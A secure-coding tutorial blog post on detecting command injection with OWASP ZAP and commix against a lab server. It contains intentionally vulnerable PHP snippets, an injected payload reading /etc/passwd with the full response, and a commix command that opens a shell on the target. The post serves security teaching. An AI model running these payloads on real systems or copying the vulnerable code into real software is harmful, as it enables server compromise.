Secure coding

Command Injection Vulnerabilities

Srinivas
October 19, 2020 by
Srinivas

Introduction:

In the previous articles, we discussed what Command Injection vulnerabilities are and what causes command injection vulnerabilities. This article provides an overview of how command injection vulnerabilities can be identified and exploited using some automated tools. We will then discuss why we should not always rely on automated tools to identify command injection vulnerabilities. 

Learn Secure Coding Fundamentals

Learn Secure Coding Fundamentals

Build your secure coding skills as you progress through 14 courses focused on discovering, exploiting and mitigating common coding vulnerabilities.

What is command injection?

As already mentioned in earlier articles, Command injection is a type of web vulnerability that allows attackers to execute arbitrary Operating System commands on the server, where the application is running.  Command Injection vulnerabilities occur when the applications make use of shell commands or scripts that execute shell commands in the background. 

In the next few sections, let us discuss how command injection vulnerabilities can be discovered by automated web vulnerability scanners and why manual intervention is required in some cases.

Automated scanners for finding command injection vulnerabilities

Let us consider the following code snippet, which is vulnerable to command injection.

<?php

$cmd=$_GET['cmd'];

system($cmd);

?>

 

This vulnerability can be simply exploited by passing arbitrary commands via the parameter cmd as shown below.

http://target-site.com/vulnerable.php?cmd=id

 

Now, let us scan this URL using OWASP ZAP and observe if the command injection vulnerability can be identified. Let us enter the URL to be scanned and click Attack

After the scan finishes, we should see the following alerts, where Remote OS Command Injection vulnerability can be seen.

Clicking on the reported vulnerability shows the details such as Risk, parameter and the payload used to confirm the vulnerability.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

The following excerpts show the request and response provided by OWASP ZAP, which can be used to understand how the vulnerability was discovered. Following is the request sent by OWASP ZAP.

GET http://192.168.1.90/cmd/index.php?cmd=tet%26cat+%2Fetc%2Fpasswd%26 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0

Pragma: no-cache

Cache-Control: no-cache

Content-Length: 0

Host: 192.168.1.90

 

As highlighted, a payload with OS command tet&cat+/etc/passwd& has been sent and the following response was received, which confirms that the application is vulnerable to OS command injection.

HTTP/1.1 200 OK

Date: Mon, 05 Oct 2020 12:02:59 GMT

Server: Apache/2.4.18 (Ubuntu)

Vary: Accept-Encoding

Content-Length: 1639

Content-Type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false

systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

syslog:x:104:108::/home/syslog:/bin/false

_apt:x:105:65534::/nonexistent:/bin/false

lxd:x:106:65534::/var/lib/lxd/:/bin/false

mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false

messagebus:x:108:112::/var/run/dbus:/bin/false

uuidd:x:109:113::/run/uuidd:/bin/false

dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false

sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin

securestore:x:1000:1000:securestore,,,:/home/securestore:/bin/bash

 

Automated command injection exploitation using commix

Aside from standard web vulnerability scanners, there are tools which can specifically identify and exploit command injection vulnerabilities and it comes preinstalled with Kali Linux. Commix is one such tool, which can be used to identify and exploit command injection vulnerabilities in web applications. According to the GitHub documentation, “Commix (short for [comm]and [i]njection e[x]ploiter) is an automated tool written by Anastasios Stasinopoulos (@ancst) that can be used from web developers, penetration testers or even security researchers in order to test web-based applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or HTTP header.

Let’s see Commix in action. 

Run the following command to start with basic command injection.

# commix --url="http://192.168.1.90/cmd/index.php?cmd=INJECT_HERE"

 

Notice that we have replaced the value of the parameter “cmd” with “INJECT_HERE”. This is how Commix understands the target parameter to be tested. Now, Commix starts performing tests on this parameter and gives us an interactive shell as shown below if the application is exploitable.

As we can notice in the preceding figure, commix confirms with the following message that the application is injectable and it asks for user confirmation before giving us a pseudo-terminal shell.

[+] The GET parameter 'cmd' seems injectable via (results-based) classic command injection technique.     [~] Payload: echo HRNZHE$((40+48))$(echo HRNZHE)HRNZHE

 

Entering yes should give us an interactive shell, which can be used to run OS commands on the target web server.

Clearly, automated tools such as OWASP ZAP and Commix come handy when we want to discover and exploit command injection vulnerabilities. However, it should be noted that not every single command injection vulnerability can be spotted even by some powerful automated tools because of the manual interaction required by the application flow. 

Let us consider the following example.

<?php

$input=$_GET['text'];

system("echo -n". $input." | base64");

?>

 

As we can see in the preceding excerpt, even though the code is vulnerable to command injection, the output is base64 encoded and then sent back to the user. It could be hard for automated tools to detect this vulnerability since the tool must be designed to verify the encoded text coming back in the HTTP response. Often, blind injection techniques have to be employed by the tools to detect such vulnerabilities. Let us check if OWASP ZAP or Commix can discover this vulnerability.

Following is the URL provided to ZAP. Click Attack to start the scan.

Following is the scan result from ZAP.

As we can notice, the OS command injection vulnerability is not identified by ZAP.

When scanned using commix, it has resulted in errors, when going through the blind injection scan and commix stopped with the following message.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

Conclusion:

Command Injection vulnerabilities, just like any other vulnerabilities may or may not be identified by automated scanners and clearly manual testing can be helpful in identifying these issues. In the next few articles, we will discuss more command injection related concepts such as Blind command injection, exploiting and mitigating command injection vulnerabilities.

 

Sources:

  1. https://owasp.org/www-community/attacks/Command_Injection
  2. https://github.com/commixproject/commix
  3. /commix-an-automated-tool-for-command-injection/
Srinivas
Srinivas

Srinivas is an Information Security professional with 4 years of industry experience in Web, Mobile and Infrastructure Penetration Testing. He is currently a security researcher at Infosec Institute Inc. He holds Offensive Security Certified Professional(OSCP) Certification. He blogs atwww.androidpentesting.com. Email: srini0x00@gmail.com